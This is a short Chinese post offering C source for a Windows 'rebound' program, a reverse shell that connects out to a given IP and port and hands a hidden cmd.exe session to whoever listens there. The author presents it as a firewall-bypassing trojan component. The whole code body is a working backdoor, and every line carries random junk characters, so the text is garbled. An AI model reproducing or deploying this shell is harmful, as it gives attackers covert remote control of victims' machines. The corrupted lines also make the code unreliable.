这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 <Ak:8&$O
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/* ============================== sN;(/O
Rebound port in Windows NT 9A(n_Rs7?
By wind,2006/7 G]at{(^Vz
===============================*/ EgFl="0
#include }Z^FEd"y
#include Zb}`sk#
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#pragma comment(lib,"wsock32.lib") ys/`{:w8p
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void OutputShell(); F{kG
SOCKET sClient; rA[nUJ,
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; ;B*L1'FF%t
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void main(int argc,char **argv) Y=hPErw
{ CgN]dx*`
WSADATA stWsaData; 3e#x)H/dr
int nRet; >\Z lZ
SOCKADDR_IN stSaiClient,stSaiServer; $#F;xys
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if(argc != 3) :fl*w""V@
{ bb*c+XN0
printf("Useage:\n\rRebound DestIP DestPort\n"); A&D2T
return; P>.Y)$`r
} t>XZ3
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WSAStartup(MAKEWORD(2,2),&stWsaData); Y"r3i]
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); o-L|"3P
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stSaiClient.sin_family = AF_INET; =7*oC
stSaiClient.sin_port = htons(0); Dm&lSWW`/
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); *QMF
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) D%6ir*%T
{ w2.qT+;v
printf("Bind Socket Failed!\n"); ": mCZUt
return; ]kyle3#-~
} ]}jgB2x7
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stSaiServer.sin_family = AF_INET; Bk\ *0B
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); Rc$=+K#
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); T^rz!k{
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) S~]8K8"sT
{ n P0Ziu'{
printf("Connect Error!"); C~3@M<X
return; pyu46iE)
} se4w~\/
OutputShell(); #-l!`\@
} `HE>%=]b
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void OutputShell() .%-6&%1
{ FcuEeca
char szBuff[1024]; %:yHMEG]'
SECURITY_ATTRIBUTES stSecurityAttributes; }Z~pfm_S
OSVERSIONINFO stOsversionInfo; 8Sd?b5|G~
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; z:0-aDeM
STARTUPINFO stStartupInfo; K *
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char *szShell; m0dFA<5-
PROCESS_INFORMATION stProcessInformation; KfJ c
unsigned long lBytesRead; 7vB9K _wCI
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); (:tTx>V#
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); S-H-tFy\\
stSecurityAttributes.lpSecurityDescriptor = 0; >\^N\&
stSecurityAttributes.bInheritHandle = TRUE; Requ.?!fG;
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); ^sr:N5~z`
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); C*Y
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); \i&vOH'
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 8u7K$Q
stStartupInfo.wShowWindow = SW_HIDE; gPA>*;?E;@
stStartupInfo.hStdInput = hReadPipe; v@}1WGY
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; >"PqQO
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GetVersionEx(&stOsversionInfo); i-K"9z|)
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switch(stOsversionInfo.dwPlatformId) x"zjN'|
{ Z7mGC`>
case 1: ^Yg|P&e(;
szShell = "command.com"; +=,4@I%
break; WF3DGqs_]
default: SNopAACf1
szShell = "cmd.exe";
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break; wfU&{7yt
} 4{Yy05PFS
Y ;~~?[6
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); P!>{>r4
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send(sClient,szMsg,77,0); xPn'yo
while(1) O?4vC5x
{ #w%a
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PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); =+SVzK,+3
if(lBytesRead) $)kBz*C[
{ }
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ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); $9
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send(sClient,szBuff,lBytesRead,0); /:
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} 8VAYIxRv
else 6B!j(R
{ 6x (L&>F
lBytesRead=recv(sClient,szBuff,1024,0); D:RBq\8
if(lBytesRead<=0) break; u+I r:k
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); {8*d;[X50
} [EW$7 se~
} )$Dcrrj
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return; .5#tB*H
}